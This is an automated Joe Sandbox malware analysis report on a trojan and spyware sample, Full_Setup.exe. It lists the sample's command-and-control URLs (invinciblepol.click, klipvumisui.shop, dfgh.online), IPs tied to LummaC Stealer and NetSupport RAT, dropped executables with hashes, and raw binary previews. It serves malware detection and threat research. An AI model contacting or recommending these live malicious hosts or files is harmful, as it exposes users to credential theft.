https://duckduckgo.com/ac/?q=	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txtcoded8	Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	Full_Setup.exe, 00000000.00000003.2133335676.000000000325F000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Full_Setup.exe, 00000000.00000003.1884119239.0000000003206000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Full_Setup.exe, 00000000.00000003.1829427545.000000000283B000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000000.1663732579.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Full_Setup.exe, 00000000.00000003.1884119239.0000000003206000.00000004.00000800.00020000.00000000.sdmp	false		high
https://invinciblepol.click/s	Full_Setup.exe, 00000000.00000003.1983624826.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133152074.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983490610.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://invinciblepol.click/apix	Full_Setup.exe, 00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/	Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://invinciblepol.click/jh	Full_Setup.exe, 00000000.00000003.1983624826.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133152074.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983490610.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.epubor.comJ	Full_Setup.exe, 00000000.00000000.1663750986.00000000004A4000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Full_Setup.exe, 00000000.00000003.1884119239.00000000031E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Full_Setup.exe, 00000000.00000003.1884496971.0000000003255000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Full_Setup.exe, 00000000.00000003.1934923464.00000000032BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://invinciblepol.click/	Full_Setup.exe, 00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958148491.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983624826.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133152074.00000000031B6000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983490610.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1983975944.0000000000756000.00000004.00000020.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1912208277.00000000031BF000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1911959382.00000000031B8000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Full_Setup.exe, 00000000.00000003.1884119239.00000000031E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Full_Setup.exe, 00000000.00000003.1935968590.00000000034DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://invinciblepol.click/apiT	Full_Setup.exe, 00000000.00000003.1912027942.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://invinciblepol.click/pi	Full_Setup.exe, 00000000.00000003.1958148491.00000000031B6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.37.128	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
172.67.204.41	invinciblepol.click	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581465
Start date and time:	2024-12-27 20:16:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Full_Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@59/15@4/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 24 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7932 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Full_Setup.exe

Simulations

Behavior and APIs

Time	Type	Description
14:17:19	API Interceptor	11x Sleep call for process: Full_Setup.exe modified
14:17:43	API Interceptor	18x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.161.251.21	appFile.exe	Get hash	malicious	LummaC Stealer	Browse
185.161.251.21	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
cegu.shop	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	185.161.251.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMFBJSDkxQ0w3VVZMNFJFUlNDRVkyU05CUi4u	Get hash	malicious	HTMLPhisher	Browse	104.21.18.132
	http://resources.onestart.ai/onestart_installer_130.0.6723.134.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	172.67.12.83
	https://franoapas.co.in/	Get hash	malicious	Unknown	Browse	172.67.221.200
	http://bitstampweb.hbrygl.com	Get hash	malicious	Unknown	Browse	172.67.136.84
	Solara.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	TrdIE26br9.msi	Get hash	malicious	Unknown	Browse	172.67.148.171
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
CLOUDFLARENETUS	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMFBJSDkxQ0w3VVZMNFJFUlNDRVkyU05CUi4u	Get hash	malicious	HTMLPhisher	Browse	104.21.18.132
	http://resources.onestart.ai/onestart_installer_130.0.6723.134.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	172.67.12.83
	https://franoapas.co.in/	Get hash	malicious	Unknown	Browse	172.67.221.200
	http://bitstampweb.hbrygl.com	Get hash	malicious	Unknown	Browse	172.67.136.84
	Solara.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	TrdIE26br9.msi	Get hash	malicious	Unknown	Browse	172.67.148.171
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
NTLGB	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	81.97.105.115
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	185.161.251.21
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	163.165.65.186
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	92.237.44.174
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	80.4.135.78
	armv4l.elf	Get hash	malicious	Mirai	Browse	62.254.229.173
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	82.3.236.97
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	213.107.138.142
	splarm7.elf	Get hash	malicious	Unknown	Browse	82.43.102.253

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.37.128 172.67.204.41 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	appFile.exe	Get hash	malicious	LummaC Stealer	Browse
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	GLD6WIS3RXG4KKYJLK.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll	appFile.exe	Get hash	malicious	LummaC Stealer	Browse
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse
	cho_mea64.exe	Get hash	malicious	MicroClip	Browse
	cho_mea64.exe	Get hash	malicious	MicroClip	Browse
	https://bakkesmod.com/download.php	Get hash	malicious	Unknown	Browse
	Girls-Questionnaire-For-Autism-Spectrum-Disorders.exe	Get hash	malicious	Unknown	Browse
	6rfyiAq0nM.msi	Get hash	malicious	Cookie Stealer	Browse
	ListSvc.exe	Get hash	malicious	Quasar	Browse
	Freddie-Mac-Warrantable-Condo-List.exe	Get hash	malicious	Unknown	Browse
	iumk21HlC8.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe

Download File

Process:	C:\Users\user\Desktop\Full_Setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	12191445
Entropy (8bit):	7.975937528091654
Encrypted:	false
SSDEEP:	196608:3x6Xhm3naEJp1N1x7JpGTRQTrwlZJdO6T+nAIy986TeaZcSSFDi/:3x6Xw3RJbdVpGmT8ldkn+8sZcSj
MD5:	34B63F16F994365A2FC9263E87CD28E8
SHA1:	3C64CAD2F1D93BF4D67EAAD58E3C80390F760589
SHA-256:	36E2B9BAA6A42E568DA06872089A66ACFB533B14DCF52568D061F51A606BD59F
SHA-512:	E48DE084739ADF52CA8DE549AB0D19F462DC017C80CE1EFD72A1994D924218CD99B87D641832B171F50CAB3DDA5508FFF017F0E2FBD78E7D62E3CD70C16FC54F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@...................................Y...@......@...................p..q....P.......................... Z...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45disy0o.ux0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hj5wc15q.210.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgliuv55.hvl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yi04ku14.sl4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\b7bd07cc

Download File

Process:	C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe
File Type:	PNG image data, 2032 x 4684, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7043853
Entropy (8bit):	7.998562535252469
Encrypted:	true
SSDEEP:	196608:jzqqLRn623k+aKXkb4M5mXeHe1djFWgyq:jeqQLMXkbyXe+1djFiq
MD5:	667C9BCB2BC991D875DB198CCD2FB30C
SHA1:	67703DD819A60A8E46023967573DCD6008FBAA8A
SHA-256:	381D8954975FA48B4A07624C65DE7A29BBF7DDFD0B6DFB68AAC312C7E82EC526
SHA-512:	470CAC2E53058051C8CE3BA05D79C7362B717204BC7475FFA9B674AC003E65525FC366DF94EAEE9B73467233E1BAB0510A92F22941C2382767A16F28DBE3D332
Malicious:	false
Preview:	.PNG........IHDR.......L......E5... .IDATx..9.$G.....32g..X.w.tvA&P..(y.M.....r7.Q.r.ke.....0...3...>Vk.$.........33.##3#3.......p......./?BD.`n..DDDD\.._@...c...10.0...G.<n.E~.9./...q\|J..P...59.... O.3..@...0..)....!.=..).s{v.....4MC..Oi...]J.."g.R......m....1..RJ...n..)..+..B....B...{(.T...6-9.....Pkp...MKn#...m/dx..v....M.l?""..#.."v...C.\|....c..H>c.].H..M.\|B57.\|..)B.d.m.........;f..gg0&....n.c....0.4..6.~.T7........+:..../_..DDD.E....x...C..cL................3.y(;....)k......\|;..b.cz.....y.o..l.....Y.&n.....g7.g...Rx!.....u].5...m...#...@...\|....P.1....Z.M.....6...n$D.......?......q-....C....sI>...q/....G.0 ..(?4.....F....H..%..A......(..g;$_H..7`. D.......B........P..a./].o.$..I~w.D...!.._b.I..5...^)....X......k..\|V.NB\.<<D..q...W$k.>..@..^..}p-..=.....k...........h.nB~W.3...r..................\|.f....S....ew./.d....T..I..W.Q~.]1.O..:...\|)....'V.k_.1...F.1..7l$D.......V...m.9..B\.<h.....?...<n.Q>.d.....<.T.o"..[7...H..S.._.S..N-.

C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: appFile.exe, Detection: malicious, Browse Filename: FloydMounts.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: SET_UP.exe, Detection: malicious, Browse Filename: GLD6WIS3RXG4KKYJLK.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: appFile.exe, Detection: malicious, Browse Filename: FloydMounts.exe, Detection: malicious, Browse Filename: cho_mea64.exe, Detection: malicious, Browse Filename: cho_mea64.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Girls-Questionnaire-For-Autism-Spectrum-Disorders.exe, Detection: malicious, Browse Filename: 6rfyiAq0nM.msi, Detection: malicious, Browse Filename: ListSvc.exe, Detection: malicious, Browse Filename: Freddie-Mac-Warrantable-Condo-List.exe, Detection: malicious, Browse Filename: iumk21HlC8.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe
